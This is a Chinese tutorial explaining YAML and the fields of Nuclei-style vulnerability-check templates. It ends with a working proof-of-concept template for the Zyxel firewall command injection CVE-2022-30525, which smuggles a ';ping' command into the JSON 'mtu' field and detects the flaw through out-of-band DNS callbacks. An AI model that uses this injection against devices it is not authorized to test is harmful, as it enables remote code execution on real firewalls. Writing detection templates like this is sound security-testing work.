yaml是什么?
是一个可读性高,用来表达数据序列化的格式。
切记:
YAML不允许使用制表符
元素部分之间必须有空间
YAML区分大小写
YAML文档标准后缀名是: 1、.yaml 2、.yml
yaml模板内容参数解读如下:
id: 定义了该漏洞验证请求的唯一标识符。
info: 定义了漏洞验证请求的相关信息。
name: 指定了漏洞验证请求的名称。 author: 指定了该漏洞验证请求的作者。
severity: high: 指定了该漏洞验证请求的严重程度。 description: 提供描述信息。
requests: 定义了一个请求列表,包含了漏洞验证请求。
raw: 定义了一个原始请求(HTTP请求)。
matchers-condition: and: 定义了匹配条件的逻辑关系,表示所有匹配条件都必须满足。
matchers: 定义了一组匹配条件,用于验证漏洞存在性。 type: word: 指定了匹配条件的类型为关键词匹配。
part: header: 指定了关键词匹配的范围是HTTP头部。
words: 指定了需要匹配的关键词。
type: status: 指定了匹配条件的类型为状态码。
status: 指定了需要匹配的HTTP响应状态码,表示需要匹配HTTP响应状态码是否为200。
yaml POC模板
id: Vulnerability template
info:
name: Vulnerability template
author: I9nite
severity: high
description:描述信息
requests:
- raw: GET
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'There are loopholes'
- type: status
status:
- 200
案例
id: CVE-2022-30525
info:
name: Zyxel 防火墙远程命令注入漏洞
author: xiaodisec
severity: high
description: 该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙,其中包括 ATP 系列、VPN 系列和 USG FLEX 系列(包括 USG20-VPN 和 USG20W-VPN)。该漏洞标识为 CVE-2022-30525,允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
reference:
- https://blog.csdn.net/weixin_43080961/article/details/124776553
tags: zyxel,cve,rce
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
payloads:
exploit:
- ";ping -c 3 {{interactsh-url}};"
matchers:
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"